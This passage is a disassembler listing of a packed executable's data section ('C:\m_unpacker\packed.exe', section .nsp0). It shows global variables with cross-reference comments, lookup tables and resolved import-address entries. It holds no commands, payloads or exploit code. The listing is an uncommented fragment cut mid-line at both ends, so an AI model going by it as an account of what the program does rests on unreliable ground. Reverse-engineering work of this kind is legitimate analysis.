sub_413B08+1BFw byte_4E3C80 db 0 ; DATA XREF: sub_413B08+1C6w byte_4E3C81 db 0 ; DATA XREF: sub_413B08+1CDw word_4E3C82 dw 0 ; DATA XREF: sub_413B08+1D4w dword_4E3C84 dd 0 ; DATA XREF: sub_413B08+1E1w dword_4E3C88 dd 0 ; DATA XREF: sub_413B08+1E9w word_4E3C8C dw 0 ; DATA XREF: sub_413B08+242w word_4E3C8E dw 0 ; DATA XREF: sub_413B08+22Aw word_4E3C90 dw 0 ; DATA XREF: sub_413B08+254w word_4E3C92 dw 0 ; DATA XREF: sub_413B08+1F5w dword_4E3C94 dd 101h dup(0) ; DATA XREF: sub_413B08+263o dword_4E4098 dd 0 ; DATA XREF: sub_401CC1+16A4w ; sub_401CC1+29B2r ... dd 3 dup(0) byte_4E40A8 db 0 ; DATA XREF: sub_413FFA+244o ; sub_413FFA+253w ... byte_4E40A9 db 0 ; DATA XREF: sub_413FFA+267w word_4E40AA dw 0 ; DATA XREF: sub_413FFA+298w word_4E40AC dw 0 ; DATA XREF: sub_413FFA+27Fw ; sub_413FFA:loc_4143C0w word_4E40AE dw 0 ; DATA XREF: sub_413FFA+29Ew byte_4E40B0 db 0 ; DATA XREF: sub_413FFA+28Bw byte_4E40B1 db 0 ; DATA XREF: sub_413FFA+260w word_4E40B2 dw 0 ; DATA XREF: sub_413FFA+3E6w ; sub_413FFA+410w dword_4E40B4 dd 0 ; DATA XREF: sub_413FFA:loc_4142B7w ; sub_413FFA+38Er dword_4E40B8 dd 0 ; DATA XREF: sub_413FFA+2CAw word_4E40BC dw 0 ; DATA XREF: sub_413FFA+388w ; sub_413FFA+3DCo word_4E40BE dw 0 ; DATA XREF: sub_413FFA+329w ; sub_413FFA+34Er ... dword_4E40C0 dd 0 ; DATA XREF: sub_413FFA+300w ; sub_413FFA+3CDw dword_4E40C4 dd 0 ; DATA XREF: sub_413FFA+31Cw ; sub_413FFA+39Fw ... byte_4E40C8 db 0 ; DATA XREF: sub_413FFA+305r ; sub_413FFA+313w byte_4E40C9 db 0 ; DATA XREF: sub_413FFA+2CFw ; sub_413FFA+398w ... word_4E40CA dw 0 ; DATA XREF: sub_413FFA+2DDw word_4E40CC dw 0 ; DATA XREF: sub_413FFA+3EDw ; sub_413FFA+41Ew word_4E40CE dw 0 ; DATA XREF: sub_413FFA+322w word_4E40D0 dw 0 ; DATA XREF: sub_413FFA+354w ; sub_413FFA+426o word_4E40D2 dw 0 ; DATA XREF: sub_413FFA+363w ; sub_413FFA+3FDw dword_4E40D4 dd 0 ; DATA XREF: sub_413FFA+35Dw align 10h dword_4E40E0 dd 0 ; DATA XREF: sub_413FFA+393w ; sub_413FFA+40Bo dword_4E40E4 dd 0 ; DATA XREF: sub_413FFA+32Fw byte_4E40E8 db 0 ; DATA XREF: sub_413FFA+335w byte_4E40E9 db 0 ; DATA XREF: sub_413FFA+33Bw word_4E40EA dw 0 ; DATA XREF: sub_413FFA+348w dword_4E40EC dd 7 dup(0) ; DATA XREF: sub_413FFA+3E1o dword_4E4108 dd 0 ; DATA XREF: sub_413FFA+30w ; sub_413FFA+42Fr dword_4E410C dd 0Dh dup(0) ; DATA XREF: sub_413FFA+1C0o ; sub_413FFA+472o db 3 dup(0) byte_4E4143 db 0 ; DATA XREF: .nsp0:0045206Co dd 2 dup(0) dword_4E414C dd 0 ; DATA XREF: .nsp0:off_451070o dword_4E4150 dd 0F0h dup(0) ; DATA XREF: .nsp0:00452148o dword_4E4510 dd 10Dh dup(0) ; DATA XREF: sub_41458A+1Do ; .nsp0:00414674o ... db 2 dup(0) word_4E4946 dw 0 ; DATA XREF: .nsp0:00451EACo ; .nsp0:00451EB4o dd 27Fh dup(0) db 0 byte_4E5345 db 3 dup(0) ; DATA XREF: .nsp0:00452038o dd 0C72h dup(0) dword_4E8510 dd 18h dup(0) ; DATA XREF: sub_41458A+13o ; .nsp0:004146BBo ... dword_4E8570 dd 0 ; DATA XREF: sub_414A1D+431o dword_4E8574 dd 0Fh dup(0) ; DATA XREF: sub_414F46+Fo dword_4E85B0 dd 0 ; DATA XREF: sub_415497+22w ; sub_415497:loc_415619w ... dword_4E85B4 dd 0 ; DATA XREF: sub_401CC1+371Ao ; sub_415357+12o ... dd 0 dword_4E85BC dd 0 ; DATA XREF: sub_415497+1Cr ; sub_415639+3Ar dd 7Fh dup(0) dword_4E87BC dd 0 ; DATA XREF: sub_415497+28r ; sub_415639+4Aw dd 1944h dup(0) dword_4EECD0 dd 0 ; DATA XREF: sub_415639+23o dword_4EECD4 dd 0 ; DATA XREF: sub_401CC1+373Eo ; sub_415357+3Co ... dword_4EECD8 dd 0 ; DATA XREF: .nsp0:0044EBE0o dword_4EECDC dd 0 ; DATA XREF: .nsp0:0044EBE8o dword_4EECE0 dd 0 ; DATA XREF: .nsp0:0044EBECo dword_4EECE4 dd 0 ; DATA XREF: .nsp0:0044EBF0o dword_4EECE8 dd 0 ; DATA XREF: .nsp0:0044EBF4o dword_4EECEC dd 0 ; DATA XREF: .nsp0:0044EC10o dword_4EECF0 dd 0 ; DATA XREF: .nsp0:0044EC18o dword_4EECF4 dd 0 ; DATA XREF: .nsp0:0044EC1Co dword_4EECF8 dd 0 ; DATA XREF: .nsp0:0044EC28o dword_4EECFC dd 0 ; DATA XREF: .nsp0:0044EC2Co dword_4EED00 dd 0 ; DATA XREF: .nsp0:0044EC34o dword_4EED04 dd 81h dup(0) ; DATA XREF: sub_415ECC+6Ao dword_4EEF08 dd 0 ; DATA XREF: sub_41615A+E9o dword_4EEF0C dd 17h dup(0) ; DATA XREF: sub_41671B:loc_416838o ; sub_41671B+131o ... dword_4EEF68 dd 80h dup(0) ; DATA XREF: sub_4174B4+7Co ; sub_4174B4+A5o dword_4EF168 dd 0 ; DATA XREF: sub_416A95+45w ; sub_416A95+4Dr ... dword_4EF16C dd 17h dup(0) ; DATA XREF: sub_417380:loc_4174A2o ; sub_417380+12Do dword_4EF1C8 dd 80h dup(0) ; DATA XREF: sub_4169D6+4Bo ; sub_4169D6+7Do ... byte_4EF3C8 db 0 ; DATA XREF: sub_416A95+29r ; sub_416A95+34w align 4 dword_4EF3CC dd 80h dup(0) ; DATA XREF: sub_416CEC+61o ; sub_416CEC+88o ... dword_4EF5CC dd 81h dup(0) ; DATA XREF: sub_4165F2+33o ; sub_4165F2+50o ... dword_4EF7D0 dd 0 ; DATA XREF: sub_417955:loc_417976r ; sub_417A44+54r ... dword_4EF7D4 dd 0 ; DATA XREF: sub_417955r ; sub_417A44+37r ... dword_4EF7D8 dd 0 ; DATA XREF: sub_417985+1Ar ; sub_417B99+83o dword_4EF7DC dd 0 ; DATA XREF: sub_417955:loc_417969r ; sub_417B99+11Bw dword_4EF7E0 dd 0Dh dup(0) ; DATA XREF: sub_417A44+13o ; sub_417B99:loc_417CDAo dword_4EF814 dd 0 ; DATA XREF: sub_417A44+CDr ; sub_417A44+ECr ... dd 0 dword_4EF81C dd 0 ; DATA XREF: sub_4179BD+9o dword_4EF820 dd 0 ; DATA XREF: sub_417B99+DFo dword_4EF824 dd 0 ; DATA XREF: sub_417B99:loc_417CD5o dword_4EF828 dd 0Eh dup(0) ; DATA XREF: sub_4187BE+47o dword_4EF860 dd 0 ; DATA XREF: sub_41897B+13o dword_4EF864 dd 9D0F60h ; DATA XREF: sub_418FC0+262w ; sub_4193C0:loc_4197FBr ... dword_4EF868 dd 1545h ; DATA XREF: sub_418FC0:loc_4191D3r ; sub_418FC0+21Cw ... dword_4EF86C dd 956660h ; DATA XREF: sub_418FC0:loc_419209r ; sub_418FC0+252r ... dword_4EF870 dd 118Ah ; DATA XREF: sub_418FC0+222r ; sub_418FC0+22Aw ... dword_4EF874 dd 118Ah ; DATA XREF: sub_418FC0+235r ; sub_418FC0+243w ... dword_4EF878 dd 0 ; DATA XREF: sub_42C3D0+217r dword_4EF87C dd 0A28h ; DATA XREF: sub_41A4F0:loc_41A546r ; .nsp0:0041E9ECw ... dword_4EF880 dd 501h ; DATA XREF: .nsp0:0041EA24w dword_4EF884 dd 5 ; DATA XREF: .nsp0:0041EA0Fw ; .nsp0:0041EA15r dword_4EF888 dd 1 ; DATA XREF: .nsp0:0041E9FEw ; .nsp0:0041EA1Er dword_4EF88C dd 1 ; DATA XREF: sub_40141B:loc_40170Dr ; sub_429EE0+C6w dword_4EF890 dd 9D0B00h ; DATA XREF: sub_40141B+2FBr ; sub_40141B+31Br ... align 8 dword_4EF898 dd 9D0A60h ; DATA XREF: sub_429D90+7Bw ; sub_429D90+81r ... dword_4EF89C dd 0 ; DATA XREF: sub_434E10+49r dword_4EF8A0 dd 0 ; DATA XREF: sub_4323B0+24r ; sub_4345C0+6r ... align 8 off_4EF8A8 dd offset aCM_unpackerPac ; DATA XREF: sub_429EE0+26w ; sub_429EE0+3Cr ; "C:\\m_unpacker\\packed.exe" align 10h byte_4EF8B0 db 0 ; DATA XREF: sub_41B600+30w ; sub_41ECC0+8r align 4 dword_4EF8B4 dd 0 ; DATA XREF: sub_41B600:loc_41B623w dword_4EF8B8 dd 0 ; DATA XREF: sub_41B600+9r ; sub_41B600:loc_41B6CBw dword_4EF8BC dd 0 ; DATA XREF: sub_41B600+95r ; sub_41B600+AFw dword_4EF8C0 dd 0 ; DATA XREF: .nsp0:0041CEA4r ; .nsp0:0041CEAFw dword_4EF8C4 dd 0 ; DATA XREF: sub_41CE10+10w dword_4EF8C8 dd 0 ; DATA XREF: sub_41DA60+88r ; sub_41DA60+F8w align 10h dword_4EF8D0 dd 0 ; DATA XREF: sub_41DA60+7Dr ; sub_41DA60+100w ... byte_4EF8D4 db 2 dup(0) ; DATA XREF: sub_41DA60+109w word_4EF8D6 dw 0 ; DATA XREF: sub_41DA60+52r dword_4EF8D8 dd 0 ; DATA XREF: sub_41DA60+3Dr ; sub_41DA60+112w ... dword_4EF8DC dd 0 ; DATA XREF: sub_41DA60+11Aw dword_4EF8E0 dd 0 ; DATA XREF: .nsp0:0041EA83w ; sub_429D90+1Br ... align 8 dword_4EF8E8 dd 0 ; DATA XREF: sub_41EB30+3r ; sub_41EB60+3r ... dword_4EF8EC dd 0 ; DATA XREF: sub_4225E0:loc_4228A5r ; sub_4225E0+2CEw ... dword_4EF8F0 dd 0 ; DATA XREF: sub_41EED0+93r ; sub_41EED0+C8w ... dword_4EF8F4 dd 0 ; DATA XREF: sub_418ED0+9r ; sub_418EF0+Fr ... dword_4EF8F8 dd 0 ; DATA XREF: .nsp0:0041F9FEr ; .nsp0:0041FA09w ... align 10h dword_4EF900 dd 143F28h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .nsp0:off_4513D4o dword_4EF918 dd 143EB0h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .nsp0:off_451414o dword_4EF930 dd 143F00h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .nsp0:off_4513F4o dword_4EF948 dd 143ED8h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: .nsp0:off_451404o dword_4EF960 dd 1 ; DATA XREF: sub_423EC0:loc_4241D2r ; sub_424210+3w ... dword_4EF964 dd 0 ; DATA XREF: sub_424AA0+A6r ; sub_424AA0+C9w ... dd 0 dword_4EF96C dd 0 ; DATA XREF: sub_41DBF0+Co ; sub_428C90+82r ... dd 0 dword_4EF974 dd 0 ; DATA XREF: sub_41E550+4r ; sub_41E5F0+6r ... dword_4EF978 dd 0 ; DATA XREF: sub_42F510+4r dword_4EF97C dd 0 ; DATA XREF: sub_42F1E0+18r dword_4EF980 dd 0 ; DATA XREF: sub_42E860+4r dword_4EF984 dd 0 ; DATA XREF: sub_41E7D0+B9r ; sub_41E7D0+16Cr ... dword_4EF988 dd 0 ; DATA XREF: sub_428C90+11Fw dword_4EF98C dd 0 ; DATA XREF: sub_428F30+C7o ; sub_428F30+140o word_4EF990 dw 0 ; DATA XREF: sub_428F30+E8r align 4 dword_4EF994 dd 0 ; DATA XREF: sub_428F30+EFw ; sub_428F30+159o dword_4EF998 dd 1 ; DATA XREF: sub_429750+26r ; sub_429750+4Bw ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_429EE0+19o ; sub_429EE0+26o ... align 4 dd 3Ah dup(0) dword_4EFAA0 dd 1 ; DATA XREF: sub_42A3F0+14r ; sub_42A3F0+2Cw ... dword_4EFAA4 dd 0 ; DATA XREF: sub_42AAC0+2Br ; sub_42AAC0+34r dword_4EFAA8 dd 0 ; DATA XREF: .nsp0:loc_42B1A6r ; .nsp0:0042B1B2w ... dword_4EFAAC dd 0 ; DATA XREF: .nsp0:loc_42B1BAr ; .nsp0:0042B1C5w ... dword_4EFAB0 dd 0 ; DATA XREF: .nsp0:loc_42B1CDr ; .nsp0:0042B1D9w ... dword_4EFAB4 dd 0 ; DATA XREF: .nsp0:loc_42B1E0r ; .nsp0:0042B1ECw ... dword_4EFAB8 dd 0 ; DATA XREF: .nsp0:loc_42B13Ar ; .nsp0:0042B155w dword_4EFABC dd 0 ; DATA XREF: sub_42B680+Dr ; sub_42B680+39w ... dword_4EFAC0 dd 0 ; DATA XREF: sub_42B680+5Aw ; sub_42B680:loc_42B6F3r ... dword_4EFAC4 dd 0 ; DATA XREF: sub_42B680+6Ew ; sub_42B680+8Br ... dword_4EFAC8 dd 1 ; DATA XREF: sub_42C100+26r ; sub_42C100+46w ... dword_4EFACC dd 0 ; DATA XREF: sub_4225E0+9r dword_4EFAD0 dd 77C26E79h ; DATA XREF: sub_42DDD0:loc_42DDFEr ; sub_42DDD0+37r ... align 8 dword_4EFAD8 dd 0 ; DATA XREF: sub_42DF80+17w ; sub_42DF80+6Dw ... align 10h dword_4EFAE0 dd 0 ; DATA XREF: sub_42DF80+59o ; sub_42DF80+77r dword_4EFAE4 dd 10h dup(0) ; DATA XREF: sub_42DF80+103o word_4EFB24 dw 0 ; DATA XREF: sub_42E360+FCr word_4EFB26 dw 0 ; DATA XREF: sub_42DF80+88r ; sub_42E360+145r ... word_4EFB28 dw 0 ; DATA XREF: sub_42E360+132r word_4EFB2A dw 0 ; DATA XREF: sub_42E360+13Br ; sub_42E360+18Br word_4EFB2C dw 0 ; DATA XREF: sub_42E360+126r ; sub_42E360+181r word_4EFB2E dw 0 ; DATA XREF: sub_42E360+11Cr ; sub_42E360+177r word_4EFB30 dw 0 ; DATA XREF: sub_42E360+113r ; sub_42E360+16Er word_4EFB32 dw 0 ; DATA XREF: sub_42E360+109r ; sub_42E360+164r dword_4EFB34 dd 0 ; DATA XREF: sub_42DF80+93r ; sub_42DF80+CEr dword_4EFB38 dd 10h dup(0) ; DATA XREF: sub_42DF80+149o word_4EFB78 dw 0 ; DATA XREF: sub_42E360+43r word_4EFB7A dw 0 ; DATA XREF: sub_42DF80+ABr ; sub_42E360+8Cr ... word_4EFB7C dw 0 ; DATA XREF: sub_42E360+79r word_4EFB7E dw 0 ; DATA XREF: sub_42E360+82r ; sub_42E360+D2r word_4EFB80 dw 0 ; DATA XREF: sub_42E360+6Dr ; sub_42E360+C8r word_4EFB82 dw 0 ; DATA XREF: sub_42E360+63r ; sub_42E360+BEr word_4EFB84 dw 0 ; DATA XREF: sub_42E360+5Ar ; sub_42E360+B5r word_4EFB86 dw 0 ; DATA XREF: sub_42E360+50r ; sub_42E360+ABr dword_4EFB88 dd 0 ; DATA XREF: sub_42DF80+B6r ; sub_42DF80+C9r dword_4EFB8C dd 0 ; DATA XREF: sub_42DF80+18Dr ; sub_42DF80+196r ... dword_4EFB90 dd 0 ; DATA XREF: sub_42DF20+3r ; sub_42DF20+16r ... dword_4EFB94 dd 0 ; DATA XREF: sub_42E860+75r ; sub_42E860+86r ... dword_4EFB98 dd 0 ; DATA XREF: sub_42F1E0+25o ; sub_42F1E0+93r ... dword_4EFB9C dd 0 ; DATA XREF: sub_42F1E0+42o ; sub_42F1E0+A3r ... dword_4EFBA0 dd 0 ; DATA XREF: sub_42F1E0+5Fo ; sub_42F1E0+7Cr ... dword_4EFBA4 dd 0 ; DATA XREF: sub_42F510+A0r ; sub_42F510+B1r ... dword_4EFBA8 dd 0 ; DATA XREF: sub_42F970+2AAr ; sub_42F970+2B5r ... dword_4EFBAC dd 0 ; DATA XREF: sub_42F970+2CCr ; sub_42F970+2D7r ... dword_4EFBB0 dd 3 dup(0) ; DATA XREF: sub_428C90+94o ; sub_428C90+F3o word_4EFBBC dw 0 ; DATA XREF: sub_42F970+36r align 10h dd 0 word_4EFBC4 dw 0 ; DATA XREF: sub_42F640+Fr align 4 db 2 dup(0) word_4EFBCA dw 0 ; DATA XREF: sub_42F1E0+Fr db 2 dup(0) word_4EFBCE dw 0 ; DATA XREF: sub_42E940+Fr word_4EFBD0 dw 0 ; DATA XREF: sub_42E940+1Ar align 4 dword_4EFBD4 dd 0 ; DATA XREF: sub_42FDA0+155r ; sub_42FDA0+176r ... dword_4EFBD8 dd 0 ; DATA XREF: sub_430030+37w ; sub_4300F0+1Br ... dword_4EFBDC dd 0 ; DATA XREF: sub_430030+6Ew ; sub_4300F0+101r ... dword_4EFBE0 dd 0 ; DATA XREF: sub_430030+1Aw ; sub_430030+47r ... dword_4EFBE4 dd 0 ; DATA XREF: sub_42FDA0+45w ; sub_42FDA0+4Br ... dword_4EFBE8 dd 0 ; DATA XREF: sub_42FDA0+7Aw ; sub_42FDA0+80r ... dword_4EFBEC dd 0 ; DATA XREF: sub_42FDA0:loc_42FE49w ; sub_42FDA0:loc_42FEAEr ... dword_4EFBF0 dd 0 ; DATA XREF: sub_42FDA0+182r ; sub_42FDA0+1CBr ... dword_4EFBF4 dd 0 ; DATA XREF: sub_42FDA0+6r ; sub_42FDA0+2Cw ... dword_4EFBF8 dd 0 ; DATA XREF: sub_42C3D0:loc_42C42Cr byte_4EFBFC db 0 ; DATA XREF: sub_4338F0+18Fo ; sub_4338F0+1F2r ... align 10h dd 0 dword_4EFC04 dd 0 ; DATA XREF: sub_42F8D0+11o ; .nsp0:off_4526ACo ... dword_4EFC08 dd 0 ; DATA XREF: sub_433B90+26r ; sub_433B90+46w ... dword_4EFC0C dd 0 ; DATA XREF: sub_434670+26r ; sub_434670+41w ... dword_4EFC10 dd 0 ; DATA XREF: sub_434810+26r ; sub_434810+41w ... dword_4EFC14 dd 0 ; DATA XREF: sub_4349C0+26r ; sub_4349C0+4Bw ... byte_4EFC18 db 0 ; DATA XREF: sub_40D359r sub_40D359+9w align 4 dword_4EFC1C dd 0 ; DATA XREF: sub_432A70+8Fw ; sub_432A70+A4w ... dword_4EFC20 dd 0 ; DATA XREF: sub_432C00+1C4w ; sub_432C00+1EDw ... dd 7 dup(0) dword_4EFC40 dd 9561C8h ; DATA XREF: sub_41EB90+EDr ; sub_41EB90+109r ... dd 3Fh dup(0) dword_4EFD40 dd 20h ; DATA XREF: sub_41F570+7r ; sub_422100+7r ... dword_4EFD44 dd 0 ; DATA XREF: sub_41DBF0+5Ar ; sub_41E550+32r ... dword_4EFD48 dd 0 ; DATA XREF: sub_41DBF0:loc_41DC43w ; sub_41DBF0:loc_41DC57w ... dword_4EFD4C dd 4E4h ; DATA XREF: sub_423EC0+22r ; sub_423EC0+14Aw ... word_4EFD50 dw 0 ; DATA XREF: sub_423EC0+19Aw ; sub_423EC0+2F3w ... align 4 dd 2 dup(0) dword_4EFD5C dd 0 ; DATA XREF: sub_423EC0+150w ; sub_423EC0+2C2w ... byte_4EFD60 db 0 ; DATA XREF: sub_424370+1CEw ; sub_424370+21Aw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_4EFE60 db 0 ; DATA XREF: sub_423EC0+ABw ; sub_423EC0+1F4w ... byte_4EFE61 db 0 ; DATA XREF: sub_41BA10+92r ; sub_423EC0+129r ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4EFF64 dd 0 ; DATA XREF: sub_423EC0+169w ; sub_423EC0+205w ... dword_4EFF68 dd 10h ; DATA XREF: sub_4201E0+48w ; sub_420E10+9r ... dword_4EFF6C dd 0 ; DATA XREF: sub_420300+475r ; sub_420300+4A4r ... dword_4EFF70 dd 951E90h ; DATA XREF: sub_4201E0+2Ew ; sub_420300+5B2w ... dword_4EFF74 dd 0 ; DATA XREF: sub_4201E0+34w ; sub_420300+468r ... dword_4EFF78 dd 1 ; DATA XREF: .nsp0:00420133r ; sub_4201E0+3Ew ... dword_4EFF7C dd 951E90h ; DATA XREF: .nsp0:00420116r ; .nsp0:loc_420186r ... dword_4EFF80 dd 950000h ; DATA XREF: sub_41A4F0+76r ; sub_41FCA0+5Cr ... dword_4EFF84 dd 0 ; DATA XREF: .nsp0:0041EEB4r ; .nsp0:0041EEBFw ... dword_4EFF88 dd 956680h ; DATA XREF: sub_41EB90+48w ; sub_41EB90+4Dr ... dd 5 dup(0) dword_4EFFA0 dd 400h dup(0) ; DATA XREF: .nsp0:off_451128o ; .nsp0:00451130o dword_4F0FA0 dd 200h ; DATA XREF: sub_41EB90+4r ; sub_41EB90+Dw ... dword_4F0FA4 dd 142340h ; DATA XREF: .nsp0:0041EA79w ; sub_429CD0:loc_429CE2r ... dword_4F0FA8 dd 1 ; DATA XREF: sub_429D90+13Bw ; sub_4323B0+Er dword_4F0FAC dd 1 ; DATA XREF: sub_4246A0+3r ; sub_4246A0+16w ... dword_4F0FB0 dd 9D00B0h ; DATA XREF: sub_41B600+45r ; sub_41D930+19r ... dword_4F0FB4 dd 9D00B0h ; DATA XREF: sub_41B600+3Cr ; sub_41B600+5Ar ... dword_4F0FB8 dd 0 ; DATA XREF: .nsp0:0041A674r ; .nsp0:0041A67Fw ... byte_4F0FBC db 0 ; DATA XREF: sub_4357D0+5r ; sub_4357D0+11r ... align 10h dd 10h dup(0) dd 0F1258h, 2 dup(0) dd 0F153Eh, 0F14C4h, 0F1260h, 2 dup(0) dd 0F1554h, 0F14CCh, 0F1050h, 2 dup(0) dd 0F1E94h, 0F12BCh, 5 dup(0) dd 77E6D75Bh, 77E6BD68h, 77E77F2Eh, 77E762D0h, 77E78723h dd 77E70192h, 77E79C94h, 77E6363Bh, 77E75243h, 77E752B8h dd 77E7176Ch, 77E7C9E7h, 77E7C866h, 77E641EBh, 77E73FF9h dd 77E7FF2Eh, 77E78406h, 77E7C931h, 77E77EE1h, 77E67702h dd 77E7C9E1h, 77E9C5B1h, 77EB9A84h, 77E781F9h, 77E77405h dd 77E75CB5h, 77E77963h, 77E61BB8h, 77E7A099h, 77E704FCh dd 77E61BE6h, 77E7AC37h, 77E73628h, 77E706B7h, 77E80656h dd 77F5157Dh, 77E6BD13h, 77E70396h, 77E74CABh, 77E79F93h dd 77E79D5Bh, 77E7C2C4h, 77E7751Ah, 77E75CEBh, 77E6AD34h dd 77E71AFEh, 77E805D8h, 77E7A5FDh, 77E65F4Ch, 77E7513Ch dd 77E7C657h, 77E73C49h, 77F7E300h, 77F7E21Fh, 77E7C706h dd 77F53275h, 77E79D8Ch, 77E737DEh, 77E78B82h, 77E7A837h dd 77E616B4h, 77E79CE3h, 77E79C90h, 77E7727Ah, 77E64106h dd 77E64006h, 77E793EFh, 77E78EAAh, 77E79424h, 77E794BFh dd 77E75E67h, 77E75D9Eh, 77E78C81h, 77E76968h, 77E74C59h dd 77EC7C51h, 77E802FCh, 77E70F89h, 77E76A60h, 77E71B14h dd 77E7166Fh, 77E75090h, 77E74D76h, 77E77797h, 77E7011Ah dd 77E73CE2h, 77E668D9h, 77E80618h, 77E79924h, 77E77CCEh dd 77E76A2Eh, 77E7FF65h, 77EB7624h, 77E6C29Dh, 77E76C1Ah dd 77E73196h, 77E7339Ch, 77E6C924h, 77F6183Eh, 77E76E3Dh dd 77E61608h, 77E778C5h, 77E777EFh, 77E6177Ah, 77E7C938h dd 77E7C486h, 77EB36A5h, 77E79C3Dh, 77E9BD34h, 77E79908h dd 77EB8503h, 77F516F8h, 77F5722Fh, 77F51597h, 77E76E0Bh dd 77E7C726h, 77E79E34h, 77E7980Ah, 77E77CC4h, 77E79B39h dd 77E7C5B4h, 77E72B29h, 77F51587h, 77E78B61h, 77E73163h dd 77E7849Fh, 77E7A13Fh, 77E6C703h, 77E6D706h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h, 71AB1746h, 71AB401Ch, 71AB1836h, 71AB41DAh dd 71AB3F8Dh, 71AB155Ah, 71AB3ECEh, 71AB5DE2h, 71AB868Dh dd 71AB5A01h, 71AB12F8h, 71AB1746h, 71AB3E5Dh, 71AB5690h dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 71AB2BBFh, 0 dword_4F12BC dd 77E6D75Bh ; DATA XREF: sub_411ED9+182r ; sub_412C36+FFr ... dword_4F12C0 dd 77E6BD68h ; DATA XREF: sub_434E10+2C5r ; .nsp0:00435BB0r dword_4F12C4 dd 77E77F2Eh ; DATA XREF: sub_4349C0+41r ; sub_4349C0+3DAr ... dword_4F12C8 dd 77E762D0h ; DATA XREF: sub_4349C0+69r ; sub_4349C0+D9r ... dword_4F12CC dd 77E78723h ; DATA XREF: sub_434670+37r ; sub_434670+8Br ... dword_4F12D0 dd 77E70192h ; DATA XREF: sub_430DB0+1D8r ; .nsp0:00435B98r dword_4F12D4 dd 77E79C94h ; DATA XREF: sub_4306C0+12r ; .nsp0:00435B92r dword_4F12D8 dd 77E6363Bh ; DATA XREF: sub_430030+7Ar ; sub_430420+53r ... dword_4F12DC dd 77E75243h ; DATA XREF: sub_42FDA0+142r ; .nsp0:00435B86r dword_4F12E0 dd 77E752B8h ; DATA XREF: sub_42FDA0+15Cr ; .nsp0:00435B80r dword_4F12E4 dd 77E7176Ch ; DATA XREF: sub_42DED0+Fr ; .nsp0:00435B7Ar dword_4F12E8 dd 77E7C9E7h ; DATA XREF: sub_42DE30+8r ; sub_42DE50+9r ... dword_4F12EC dd 77E7C866h ; DATA XREF: sub_42C100+3Cr ; sub_42C100+19Er ... dword_4F12F0 dd 77E641EBh ; DATA XREF: sub_42C100+61r ; sub_42C100+AAr ... dword_4F12F4 dd 77E73FF9h ; DATA XREF: sub_42BD10+7Fr ; .nsp0:00435B62r dword_4F12F8 dd 77E7FF2Eh ; DATA XREF: sub_42B930+58r ; sub_42B930+66r ... dword_4F12FC dd 77E78406h ; DATA XREF: sub_42A610+1E6r ; sub_42A610+29Br ... dword_4F1300 dd 77E7C931h ; DATA XREF: sub_42A610+31Ar ; .nsp0:00435B50r dword_4F1304 dd 77E77EE1h ; DATA XREF: sub_42A3F0+1Dr ; sub_42A3F0+6Dr ... dword_4F1308 dd 77E67702h ; DATA XREF: sub_42A3F0:loc_42A428r ; sub_42A3F0+171r ... dword_4F130C dd 77E7C9E1h ; DATA XREF: sub_42A3F0+108r ; sub_42A3F0+150r ... dword_4F1310 dd 77E9C5B1h ; DATA XREF: sub_42A3F0+1E6r ; sub_42A3F0+208r ... dword_4F1314 dd 77EB9A84h ; DATA XREF: sub_429AB0+37r ; .nsp0:00435B32r dword_4F1318 dd 77E781F9h ; DATA XREF: sub_429750+41r ; sub_429750+1A5r ... dword_4F131C dd 77E77405h ; DATA XREF: sub_429750+69r ; sub_429750+C0r ... dword_4F1320 dd 77E75CB5h ; DATA XREF: sub_401317+DFr ; sub_40141B+7Ar ... dword_4F1324 dd 77E77963h ; DATA XREF: sub_401317+B8r ; sub_40141B+2D8r ... dword_4F1328 dd 77E61BB8h ; DATA XREF: sub_401317+A7r ; sub_40141B+2C0r ... dword_4F132C dd 77E7A099h ; DATA XREF: sub_401317+83r ; sub_40141B+DAr ... dword_4F1330 dd 77E704FCh ; DATA XREF: sub_401317+74r ; sub_40141B+C4r ... dword_4F1334 dd 77E61BE6h ; DATA XREF: sub_401317+29r ; sub_40141B+1F1r ... dword_4F1338 dd 77E7AC37h ; DATA XREF: sub_40141B+3BBr ; sub_401CC1+1AC6r ... dword_4F133C dd 77E73628h ; DATA XREF: sub_40141B+338r ; sub_401CC1+6B00r ... dword_4F1340 dd 77E706B7h ; DATA XREF: sub_40141B+271r ; sub_4175DD+B9r ... dword_4F1344 dd 77E80656h ; DATA XREF: sub_40141B+264r ; .nsp0:004358E6r dword_4F1348 dd 77F5157Dh ; DATA XREF: sub_40141B+1D5r ; sub_40141B+3E0r ... dword_4F134C dd 77E6BD13h ; DATA XREF: sub_40141B:loc_4015D3r ; .nsp0:004358F2r dword_4F1350 dd 77E70396h ; DATA XREF: sub_40141B+1B2r ; sub_40141B+21Er ... dword_4F1354 dd 77E74CABh ; DATA XREF: sub_40141B+19Br ; sub_40F1D3+110r ... dword_4F1358 dd 77E79F93h 